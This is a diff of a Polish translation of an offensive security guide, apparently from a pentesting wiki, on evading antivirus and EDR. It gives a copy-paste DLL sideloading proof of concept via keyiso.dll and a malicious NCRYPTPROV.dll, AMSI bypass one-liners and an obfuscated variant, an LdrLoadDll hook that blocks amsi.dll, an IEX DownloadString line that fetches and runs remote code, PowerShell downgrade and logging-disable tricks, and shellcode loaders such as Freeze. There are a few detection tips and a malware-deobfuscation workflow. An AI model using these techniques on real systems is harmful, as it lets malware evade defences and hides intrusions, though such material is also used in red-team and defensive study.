+Samo umieszczenie złośliwej biblioteki DLL o nazwie, którą program oczekuje załadować, nie spowoduje uruchomienia twojego payloadu, ponieważ program oczekuje konkretnych funkcji w tej bibliotece. Aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.

-**DLL Proxying** przekierowuje wywołania, które program wykonuje, z proxy (i złośliwego) DLL do oryginalnego DLL, zachowując funkcjonalność programu i pozwalając na obsługę wykonania twojego payloadu.
+**DLL Proxying** przekierowuje wywołania, które program wykonuje z proxy (i złośliwej) biblioteki DLL do oryginalnej biblioteki DLL, zachowując w ten sposób funkcjonalność programu i umożliwiając wykonanie twojego payloadu.

 Będę korzystał z projektu [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) autorstwa [@flangvik](https://twitter.com/Flangvik/)

@ -98,7 +98,7 @@ Oto kroki, które wykonałem:
 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
 ```
-Ostatnie polecenie da nam 2 pliki: szablon kodu źródłowego DLL oraz oryginalną DLL z zmienioną nazwą.
+Ostatnie polecenie wygeneruje 2 pliki: szablon kodu źródłowego DLL oraz oryginalny, przemianowany plik DLL.

 <figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
 ```
@ -106,38 +106,38 @@ Ostatnie polecenie da nam 2 pliki: szablon kodu źródłowego DLL oraz oryginaln
 ```
 <figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>

-Zarówno nasz shellcode (zakodowany przy użyciu [SGN](https://github.com/EgeBalci/sgn)) jak i proxy DLL mają wskaźnik wykrywalności 0/26 w [antiscan.me](https://antiscan.me)! Nazwałbym to sukcesem.
+Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci/sgn)) jak i proxy DLL mają wskaźnik wykrycia 0/26 na [antiscan.me](https://antiscan.me)! Nazwałbym to sukcesem.

 <figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>

 > [!TIP]
-> I **gorąco polecam** obejrzeć [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) o DLL Sideloading oraz także [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omawialiśmy bardziej szczegółowo.
+> Zdecydowanie **polecam** obejrzeć [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) o DLL Sideloading oraz także [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE), aby dowiedzieć się więcej o tym, co omówiliśmy bardziej szczegółowo.

-### Abusing Forwarded Exports (ForwardSideLoading)
+### Wykorzystywanie przekierowanych eksportów (ForwardSideLoading)

-Moduły Windows PE mogą eksportować funkcje, które są w rzeczywistości "forwarderami": zamiast wskazywać na kod, wpis eksportu zawiera łańcuch ASCII w postaci `TargetDll.TargetFunc`. Gdy wywołujący rozwiąże eksport, loader Windows:
+Moduły Windows PE mogą eksportować funkcje, które są właściwie "forwarderami": zamiast wskazywać na kod, wpis eksportu zawiera ciąg ASCII w formacie `TargetDll.TargetFunc`. Gdy wywołujący rozwiązuje eksport, loader Windows wykona:

- Załaduje `TargetDll`, jeśli nie jest jeszcze załadowany
+- Załaduje `TargetDll`, jeśli nie jest już załadowany
 - Rozwiąże `TargetFunc` z niego

-Kluczowe zachowania, które warto zrozumieć:
+Kluczowe zachowania do zrozumienia:
 - Jeśli `TargetDll` jest KnownDLL, jest dostarczany z chronionej przestrzeni nazw KnownDLLs (np. ntdll, kernelbase, ole32).
- Jeśli `TargetDll` nie jest KnownDLL, stosowany jest normalny porządek wyszukiwania DLL, który obejmuje katalog modułu wykonującego rozwiązywanie przekierowania eksportu.
+- Jeśli `TargetDll` nie jest KnownDLL, używany jest normalny porządek wyszukiwania DLL, który obejmuje katalog modułu wykonującego rozwiązywanie przekierowania.

-To umożliwia pośrednią prymitywę sideloading: znajdź podpisany DLL, który eksportuje funkcję forwardowaną do nazwy modułu niebędącej KnownDLL, następnie umieść obok tego podpisanego DLL atakujący kontrolowany DLL o dokładnie takiej samej nazwie, jak forwardowany moduł docelowy. Kiedy forwardowany eksport zostanie wywołany, loader rozwiąże forward i załaduje Twój DLL z tego samego katalogu, uruchamiając Twój DllMain.
+To umożliwia pośrednią prymitywę sideloading: znajdź podpisany DLL, który eksportuje funkcję przekierowaną do modułu o nazwie niebędącej KnownDLL, a następnie umieść ten podpisany DLL razem z kontrolowanym przez atakującego DLL o dokładnie takiej samej nazwie jak przekierowany moduł docelowy. Gdy wywołany zostanie przekierowany eksport, loader rozwiąże przekierowanie i załaduje twój DLL z tego samego katalogu, wykonując twoje DllMain.

-Przykład zaobserwowany w Windows 11:
+Przykład zaobserwowany na Windows 11:
 ```
 keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
 ```
-`NCRYPTPROV.dll` nie jest KnownDLL, więc jest rozwiązywany przy użyciu normalnej kolejności przeszukiwania.
+`NCRYPTPROV.dll` nie jest KnownDLL, więc jest rozwiązywany zgodnie z normalną kolejnością wyszukiwania.

 PoC (copy-paste):
 1) Skopiuj podpisany systemowy DLL do zapisywalnego folderu
 ```
 copy C:\Windows\System32\keyiso.dll C:\test\
 ```
-2) Upuść złośliwy `NCRYPTPROV.dll` w tym samym folderze. Wystarczy minimalny DllMain, aby uzyskać wykonanie kodu; nie musisz implementować funkcji forwardowanej, aby wywołać DllMain.
+2) Wystarczy umieścić złośliwy plik `NCRYPTPROV.dll` w tym samym folderze. Wystarczy minimalny DllMain, aby uzyskać wykonanie kodu; nie musisz implementować przekierowanej (forwarded) funkcji, aby wywołać DllMain.
 ```c
 // x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
 #include <windows.h>
@ -153,31 +153,31 @@ return TRUE;
 ```
 rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
 ```
-Observed behavior:
+Zaobserwowane zachowanie:
 - rundll32 (signed) ładuje side-by-side `keyiso.dll` (signed)
- Podczas rozwiązywania `KeyIsoSetAuditingInterface`, loader podąża za forwardem do `NCRYPTPROV.SetAuditingInterface`
+- Podczas rozwiązywania `KeyIsoSetAuditingInterface` loader podąża za przekierowaniem do `NCRYPTPROV.SetAuditingInterface`
 - Następnie loader ładuje `NCRYPTPROV.dll` z `C:\test` i wykonuje jego `DllMain`
- Jeśli `SetAuditingInterface` nie jest zaimplementowane, otrzymasz błąd "missing API" dopiero po tym, jak `DllMain` już się wykonał
+- Jeśli `SetAuditingInterface` nie jest zaimplementowany, otrzymasz błąd "missing API" dopiero po tym, jak `DllMain` już się wykonał

 Hunting tips:
- Skoncentruj się na forwarded exports, gdzie moduł docelowy nie jest KnownDLL. KnownDLLs są wymienione pod `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Możesz zenumerować forwarded exports za pomocą narzędzi takich jak:
+- Skup się na forwarded exports, gdzie docelowy moduł nie jest KnownDLL. KnownDLLs są wymienione pod `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
+- Możesz wyenumerować forwarded exports za pomocą narzędzi takich jak:
 ```
 dumpbin /exports C:\Windows\System32\keyiso.dll
 # forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
 ```
- Zobacz Windows 11 forwarder inventory, aby wyszukać kandydatów: https://hexacorn.com/d/apis_fwd.txt
+- Zobacz inwentarz forwarderów Windows 11, aby wyszukać kandydatów: https://hexacorn.com/d/apis_fwd.txt

 Pomysły na wykrywanie/obronę:
- Monitoruj LOLBins (np. rundll32.exe) ładujące podpisane DLL z nie-systemowych ścieżek, a następnie ładujące non-KnownDLLs o tej samej nazwie bazowej z tego katalogu
- Generuj alert dla łańcuchów procesów/modułów takich jak: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` w ścieżkach zapisywalnych przez użytkownika
- Wymuś polityki integralności kodu (WDAC/AppLocker) i zabroń równoczesnego zapisu i wykonania w katalogach aplikacji
+- Monitoruj LOLBins (np. rundll32.exe) ładujące podpisane DLL z nie-systemowych ścieżek, a następnie ładujące nie-KnownDLLs o tej samej nazwie bazowej z tego katalogu
+- Wysyłaj alerty na łańcuchy procesów/modułów takie jak: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` w ścieżkach zapisywalnych przez użytkownika
+- Wymuszaj polityki integralności kodu (WDAC/AppLocker) i zabroń write+execute w katalogach aplikacji

 ## [**Freeze**](https://github.com/optiv/Freeze)

 `Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`

-Możesz użyć Freeze, aby załadować i wykonać swój shellcode w dyskretny sposób.
+Możesz użyć Freeze, aby załadować i wykonać swój shellcode w sposób ukryty.
 ```
 Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
 1. Generate some shellcode, in this case I used Havoc C2.
@ -187,53 +187,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
 <figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>

 > [!TIP]
-> Evasion to gra w kota i myszkę — to, co działa dzisiaj, może zostać wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu; jeśli to możliwe, spróbuj łączyć kilka technik unikania wykrycia.
+> Unikanie wykrycia to gra w kotka i myszkę — to, co działa dziś, może zostać wykryte jutro. Nie polegaj wyłącznie na jednym narzędziu; jeśli to możliwe, staraj się łączyć kilka technik unikania wykrycia.

 ## AMSI (Anti-Malware Scan Interface)

-AMSI zostało stworzone, aby zapobiegać "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo oprogramowanie antywirusowe było w stanie skanować jedynie pliki na dysku, więc jeśli udało się wykonać payloady bezpośrednio w pamięci, AV nie mogło nic z tym zrobić, ponieważ nie miało wystarczającej widoczności.
+AMSI zostało stworzone, aby zapobiegać "fileless malware". Początkowo AV potrafiły skanować tylko pliki na dysku, więc jeśli udało się w jakiś sposób wykonać payloady bezpośrednio in-memory, AV nie mogły nic zrobić, ponieważ nie miały wystarczającej widoczności.

-Funkcja AMSI jest zintegrowana z następującymi komponentami Windows.
+Funkcja AMSI jest zintegrowana z następującymi komponentami Windows:

- User Account Control, or UAC (podniesienie uprawnień EXE, COM, MSI, lub instalacji ActiveX)
- PowerShell (skrypty, użycie interaktywne i dynamiczna ewaluacja kodu)
- Windows Script Host (wscript.exe i cscript.exe)
- JavaScript i VBScript
- makra Office VBA
+- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
+- PowerShell (scripts, interactive use, and dynamic code evaluation)
+- Windows Script Host (wscript.exe and cscript.exe)
+- JavaScript and VBScript
+- Office VBA macros

-Pozwala to rozwiązaniom antywirusowym na analizę zachowania skryptów poprzez udostępnienie zawartości skryptu w formie niezaszyfrowanej i nieobfuskowanej.
+Pozwala to rozwiązaniom antywirusowym na analizę zachowania skryptów przez udostępnienie ich treści w formie niezaszyfrowanej i nieobfuskowanej.

 Uruchomienie `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje następujące ostrzeżenie w Windows Defender.

 <figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>

-Zwróć uwagę, że poprzedza to `amsi:` a potem ścieżką do pliku wykonywalnego, z którego uruchomiono skrypt — w tym przypadku powershell.exe
+Zwróć uwagę, że poprzedza to `amsi:` a następnie ścieżka do pliku wykonywalnego, z którego uruchomiono skrypt — w tym przypadku powershell.exe

-Nie zapisaliśmy żadnego pliku na dysku, a mimo to zostaliśmy wykryci w pamięci z powodu AMSI.
+Nie zapisaliśmy żadnego pliku na dysku, a mimo to zostaliśmy wykryci in-memory z powodu AMSI.

-Co więcej, począwszy od **.NET 4.8**, kod C# jest również poddawany AMSI. Ma to nawet wpływ na `Assembly.Load(byte[])` przy ładowaniu do pamięci. Dlatego zaleca się używanie starszych wersji .NET (np. 4.7.2 lub starszych) do wykonywania w pamięci, jeśli chcesz ominąć AMSI.
+Co więcej, począwszy od .NET 4.8, kod C# również przechodzi przez AMSI. Nawet `Assembly.Load(byte[])` do ładowania in-memory jest objęte skanowaniem. Dlatego zaleca się używanie niższych wersji .NET (np. 4.7.2 lub starszych) do wykonywania in-memory, jeśli chcesz ominąć AMSI.

 Istnieje kilka sposobów obejścia AMSI:

 - **Obfuscation**

-Ponieważ AMSI działa głównie w oparciu o wykrycia statyczne, modyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
+  Ponieważ AMSI działa głównie w oparciu o wykrycia statyczne, modyfikowanie skryptów, które próbujesz załadować, może być dobrą metodą uniknięcia wykrycia.

-Jednak AMSI ma zdolność do deobfuskacji skryptów nawet jeśli są one wielowarstwowo obfuskowane, więc obfuskacja może być złym wyborem w zależności od tego, jak zostanie wykonana. To sprawia, że ominięcie nie jest trywialne. Czasami jednak wystarczy zmienić kilka nazw zmiennych i wszystko będzie działać, więc zależy to od tego, jak bardzo coś zostało oznaczone.
+  Jednak AMSI potrafi deobfuskować skrypty nawet przy wielowarstwowej obfuskacji, więc obfuskacja może być nieskuteczna w zależności od sposobu jej wykonania. To sprawia, że obejście nie jest proste. Czasami wystarczy jednak zmienić kilka nazw zmiennych i sprawa jest załatwiona — wszystko zależy od poziomu oznaczeń.

 - **AMSI Bypass**

-Ponieważ AMSI jest implementowane poprzez załadowanie DLL do procesu powershell (a także cscript.exe, wscript.exe, itd.), możliwe jest jego manipulowanie nawet przy uruchomieniu jako nieuprzywilejowany użytkownik. Z powodu tej wady implementacyjnej badacze odkryli wiele sposobów na ominięcie skanowania AMSI.
+  Ponieważ AMSI jest zaimplementowany przez załadowanie DLL do procesu powershell (a także cscript.exe, wscript.exe itp.), możliwe jest łatwe manipulowanie nim nawet przy uruchomieniu jako użytkownik bez uprawnień administratora. Z powodu tej luki w implementacji AMSI badacze znaleźli wiele sposobów na ominięcie skanowania AMSI.

 **Forcing an Error**

-Wymuszenie niepowodzenia inicjalizacji AMSI (`amsiInitFailed`) spowoduje, że dla bieżącego procesu nie zostanie uruchomione żadne skanowanie. Początkowo zostało to ujawnione przez [Matt Graeber](https://twitter.com/mattifestation) i Microsoft opracował sygnaturę, aby uniemożliwić szerokie wykorzystanie tej metody.
+Wymuszenie błędu inicjalizacji AMSI (amsiInitFailed) skutkuje tym, że żadne skanowanie nie zostanie uruchomione dla bieżącego procesu. Początkowo ujawnił to [Matt Graeber](https://twitter.com/mattifestation) i Microsoft opracował sygnaturę, aby ograniczyć szersze wykorzystanie tej metody.
 ```bash
 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 ```
-Wystarczyła jedna linia kodu powershell, aby uczynić AMSI nieużytecznym dla bieżącego procesu powershell. Ta linia została oczywiście wykryta przez samo AMSI, więc konieczna jest pewna modyfikacja, aby móc użyć tej techniki.
+Wystarczyła jedna linia kodu powershell, aby uczynić AMSI bezużytecznym dla bieżącego procesu powershell. Ta linia została oczywiście wykryta przez samo AMSI, więc potrzebna jest pewna modyfikacja, aby użyć tej techniki.

-Oto zmodyfikowany AMSI bypass, który wziąłem z tego [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
+Oto zmodyfikowany AMSI bypass, który zaczerpnąłem z tego [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
 ```bash
 Try{#Ams1 bypass technic nº 2
 $Xdatabase = 'Utils';$Homedrive = 'si'
@ -247,78 +247,113 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
 $Spotfix.SetValue($null,$true)
 }Catch{Throw $_}
 ```
-Pamiętaj, że to prawdopodobnie zostanie wykryte po opublikowaniu tego wpisu, więc nie powinieneś publikować żadnego kodu, jeśli planujesz pozostać niezauważony.
+Pamiętaj, że to prawdopodobnie zostanie wykryte po opublikowaniu tego posta, więc nie publikuj żadnego kodu, jeśli chcesz pozostać niewykryty.

 **Memory Patching**

-Technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie danych dostarczonych przez użytkownika) oraz nadpisaniu jej instrukcjami zwracającymi kod E_INVALIDARG. W ten sposób wynik rzeczywistego skanu będzie równy 0, co jest interpretowane jako wynik czysty.
+Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie danych podanych przez użytkownika) i nadpisaniu jej instrukcjami zwracającymi kod E_INVALIDARG — w ten sposób wynik rzeczywistego skanu zwróci 0, co jest interpretowane jako wynik bez wykryć.

 > [!TIP]
-> Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) w celu uzyskania bardziej szczegółowego wyjaśnienia.
+> Przeczytaj [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) aby uzyskać bardziej szczegółowe wyjaśnienie.

-Istnieje też wiele innych technik używanych do obejścia AMSI przy użyciu powershell — zobacz [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) i [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się o nich więcej.
+Istnieje też wiele innych technik używanych do obejścia AMSI z użyciem powershell — zobacz [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) oraz [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat.

-To narzędzie [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) również generuje skrypt do obejścia AMSI.
+### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
+
+AMSI jest inicjalizowany dopiero po załadowaniu `amsi.dll` do bieżącego procesu. Solidne, niezależne od języka obejście polega na umieszczeniu hooka w trybie użytkownika na `ntdll!LdrLoadDll`, który zwraca błąd, gdy żądany moduł to `amsi.dll`. W rezultacie AMSI nigdy się nie załaduje i w tym procesie nie nastąpią żadne skany.
+
+Zarys implementacji (x64 C/C++ pseudokod):
+```c
+#include <windows.h>
+#include <winternl.h>
+
+typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
+static pLdrLoadDll realLdrLoadDll;
+
+NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
+if (module && module->Buffer){
+UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
+if (RtlEqualUnicodeString(module, &amsi, TRUE)){
+// Pretend the DLL cannot be found → AMSI never initialises in this process
+return STATUS_DLL_NOT_FOUND; // 0xC0000135
+}
+}
+return realLdrLoadDll(path, flags, module, handle);
+}
+
+void InstallHook(){
+HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
+realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
+// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
+// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
+}
+```
+Uwagi
+- Działa zarówno w PowerShell, WScript/CScript, jak i w custom loaders (wszystko, co w innym przypadku załadowałoby AMSI).
+- Stosuj razem z przekazywaniem skryptów przez stdin (`PowerShell.exe -NoProfile -NonInteractive -Command -`), aby uniknąć długich artefaktów w wierszu poleceń.
+- Obserwowane użycie przez loaders uruchamiane poprzez LOLBins (np. `regsvr32` wywołujący `DllRegisterServer`).
+
+This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.

 **Usuń wykrytą sygnaturę**

-Możesz użyć narzędzia takiego jak **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** i **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, aby usunąć wykrytą sygnaturę AMSI z pamięci bieżącego procesu. Narzędzie działa poprzez skanowanie pamięci bieżącego procesu w poszukiwaniu sygnatury AMSI, a następnie nadpisuje ją instrukcjami NOP, efektywnie usuwając ją z pamięci.
+Możesz użyć narzędzia takiego jak **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** oraz **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)**, aby usunąć wykrytą sygnaturę AMSI z pamięci bieżącego procesu. Narzędzie skanuje pamięć bieżącego procesu w poszukiwaniu sygnatury AMSI, a następnie nadpisuje ją instrukcjami NOP, skutecznie usuwając ją z pamięci.

-**Produkty AV/EDR, które używają AMSI**
+**Produkty AV/EDR używające AMSI**

-Listę produktów AV/EDR wykorzystujących AMSI znajdziesz w **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
+Listę produktów AV/EDR używających AMSI znajdziesz w **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.

-**Użyj Powershell w wersji 2**
-Jeśli użyjesz PowerShell w wersji 2, AMSI nie zostanie załadowane, więc możesz uruchamiać swoje skrypty bez skanowania przez AMSI. Możesz to zrobić:
+**Użyj PowerShell wersji 2**
+Jeśli używasz PowerShell w wersji 2, AMSI nie zostanie załadowane, więc możesz uruchamiać swoje skrypty bez skanowania przez AMSI. Możesz to zrobić:
 ```bash
 powershell.exe -version 2
 ```
 ## PS Logging

-PowerShell logging to funkcja pozwalająca rejestrować wszystkie polecenia PowerShell uruchamiane na systemie. Może to być przydatne do audytu i rozwiązywania problemów, ale może też stanowić **problem dla atakujących chcących uniknąć wykrycia**.
+PowerShell logging to funkcja, która pozwala rejestrować wszystkie komendy PowerShell wykonywane na systemie. Może to być przydatne do audytu i rozwiązywania problemów, ale może też stanowić **problem dla atakujących, którzy chcą unikać wykrycia**.

 Aby obejść PowerShell logging, możesz użyć następujących technik:

- **Disable PowerShell Transcription and Module Logging**: W tym celu możesz użyć narzędzia takiego jak [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs).
- **Use Powershell version 2**: Jeśli użyjesz PowerShell w wersji 2, AMSI nie zostanie załadowane, więc możesz uruchamiać skrypty bez skanowania przez AMSI. Możesz to zrobić: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: Użyj [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) aby uruchomić PowerShell bez obron (to właśnie używa `powerpick` z Cobal Strike).
+- **Disable PowerShell Transcription and Module Logging**: Możesz użyć narzędzia takiego jak [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) w tym celu.
+- **Use Powershell version 2**: Jeśli użyjesz PowerShell version 2, AMSI nie zostanie załadowane, więc możesz uruchamiać swoje skrypty bez skanowania przez AMSI. Możesz to zrobić: `powershell.exe -version 2`
+- **Use an Unmanaged Powershell Session**: Użyj [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) aby uruchomić powershell pozbawiony zabezpieczeń (to jest to, czego używa `powerpick` z Cobal Strike).


-## Obfuskacja
+## Obfuscation

 > [!TIP]
-> Kilka technik obfuskacji polega na szyfrowaniu danych, co zwiększa entropię pliku binarnego i ułatwia AVs i EDRs ich wykrycie. Zachowaj ostrożność i rozważ stosowanie szyfrowania tylko w określonych sekcjach kodu, które są wrażliwe lub muszą być ukryte.
+> Kilka technik obfuskacji polega na szyfrowaniu danych, co zwiększa entropię binary, a to z kolei ułatwia AVs i EDRs ich wykrycie. Bądź ostrożny z tym i rozważ stosowanie szyfrowania tylko do konkretnych sekcji kodu, które są wrażliwe lub muszą być ukryte.

 ### Deobfuscating ConfuserEx-Protected .NET Binaries

-Podczas analizy malware używającego ConfuserEx 2 (lub komercyjnych forków) często napotykasz kilka warstw ochrony, które blokują dekompilery i sandboksy. Poniższy workflow niezawodnie **przywraca niemal oryginalny IL**, który można potem zdekompilować do C# w narzędziach takich jak dnSpy lub ILSpy.
+Analizując malware używające ConfuserEx 2 (lub komercyjnych forków), często napotykasz na kilka warstw ochrony, które zablokują dekompilery i sandboksy. Poniższy workflow niezawodnie **przywraca niemal oryginalny IL**, który następnie można zdekompilować do C# w narzędziach takich jak dnSpy lub ILSpy.

-1.  Anti-tampering removal – ConfuserEx szyfruje każde *method body* i odszyfrowuje je w statycznym konstruktorze *module* (`<Module>.cctor`). To również modyfikuje sumę kontrolną PE, więc każda modyfikacja spowoduje awarię binarki. Użyj **AntiTamperKiller** aby zlokalizować zaszyfrowane tabele metadanych, odzyskać XOR keys i zapisać czysty assembly:
+1.  Anti-tampering removal – ConfuserEx szyfruje każde *method body* i odszyfrowuje je wewnątrz statycznego konstruktora *module* (`<Module>.cctor`). To również modyfikuje sumę kontrolną PE, więc jakakolwiek modyfikacja spowoduje awarię binary. Użyj **AntiTamperKiller** aby zlokalizować zaszyfrowane tabele metadanych, odzyskać klucze XOR i zapisać czyste assembly:
 ```bash
 # https://github.com/wwh1004/AntiTamperKiller
 python AntiTamperKiller.py Confused.exe Confused.clean.exe
 ```
-Wyjście zawiera 6 parametrów anti-tamper (`key0-key3`, `nameHash`, `internKey`) które mogą być przydatne przy budowaniu własnego unpackera.
+Output zawiera 6 parametrów anti-tamper (`key0-key3`, `nameHash`, `internKey`), które mogą być użyteczne przy tworzeniu własnego unpackera.

-2.  Symbol / control-flow recovery – podaj *clean* plik do **de4dot-cex** (fork de4dot świadomy ConfuserEx).
+2.  Symbol / control-flow recovery – podaj *clean* plik do **de4dot-cex** (fork de4dot z obsługą ConfuserEx).
 ```bash
 de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
 ```
 Flagi:
-• `-p crx` – select the ConfuserEx 2 profile  
-• de4dot cofnie control-flow flattening, przywróci oryginalne namespaces, klasy i nazwy zmiennych oraz odszyfruje stałe łańcuchy znaków.
+• `-p crx` – wybierz profil ConfuserEx 2  
+• de4dot cofa control-flow flattening, przywraca oryginalne przestrzenie nazw, klasy i nazwy zmiennych oraz odszyfrowuje stałe łańcuchy.

 3.  Proxy-call stripping – ConfuserEx zastępuje bezpośrednie wywołania metod lekkimi wrapperami (tzw. *proxy calls*), aby dodatkowo utrudnić dekompilację. Usuń je za pomocą **ProxyCall-Remover**:
 ```bash
 ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
 ```
-Po tym kroku powinieneś zobaczyć normalne API .NET, takie jak `Convert.FromBase64String` czy `AES.Create()` zamiast nieprzejrzystych funkcji-wrappperów (`Class8.smethod_10`, …).
+Po tym kroku powinieneś zobaczyć normalne .NET API takie jak `Convert.FromBase64String` czy `AES.Create()` zamiast nieprzejrzystych funkcji wrapper (`Class8.smethod_10`, …).

-4.  Manual clean-up – uruchom wynikowy binarek w dnSpy, wyszukaj duże bloby Base64 lub użycie `RijndaelManaged`/`TripleDESCryptoServiceProvider`, aby zlokalizować *prawdziwy* payload. Często malware przechowuje go jako TLV-encoded tablicę bajtów zainicjalizowaną wewnątrz `<Module>.byte_0`.
+4.  Manual clean-up – uruchom otrzymany binary pod dnSpy, wyszukaj duże bloby Base64 lub użycie `RijndaelManaged`/`TripleDESCryptoServiceProvider`, aby zlokalizować *prawdziwy* payload. Często malware przechowuje go jako TLV-enkodowaną tablicę bajtów zainicjalizowaną w `<Module>.byte_0`.

-Powyższy ciąg przywraca przepływ wykonania **bez** konieczności uruchamiania złośliwej próbki – przydatne przy pracy na offline'owej stacji roboczej.
+Powyższy łańcuch przywraca przepływ wykonania **bez** potrzeby uruchamiania złośliwej próbki — przydatne podczas pracy na stacji roboczej offline.

-> 🛈  ConfuserEx tworzy niestandardowy atrybut o nazwie `ConfusedByAttribute`, który można wykorzystać jako IOC do automatycznego triage próbek.
+> 🛈  ConfuserEx generuje niestandardowy atrybut o nazwie `ConfusedByAttribute`, który może być użyty jako IOC do automatycznego triage'u próbek.

 #### One-liner
 ```bash
@ -327,39 +362,39 @@ autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially
 ---

 - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartoźródłowego forka [LLVM](http://www.llvm.org/) zestawu kompilacyjnego, zdolnego zapewnić zwiększone bezpieczeństwo oprogramowania poprzez [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) i tamper-proofing.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak użyć języka `C++11/14` do generowania, w czasie kompilacji, obfuscated code bez użycia jakichkolwiek zewnętrznych narzędzi i bez modyfikowania kompilatora.
- [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuscated operations generowanych przez C++ template metaprogramming framework, co utrudni nieco życie osobie chcącej złamać aplikację.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to x64 binary obfuscator, który potrafi obfuskować różne pliki PE, w tym: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame to prosty metamorphic code engine dla dowolnych plików wykonywalnych.
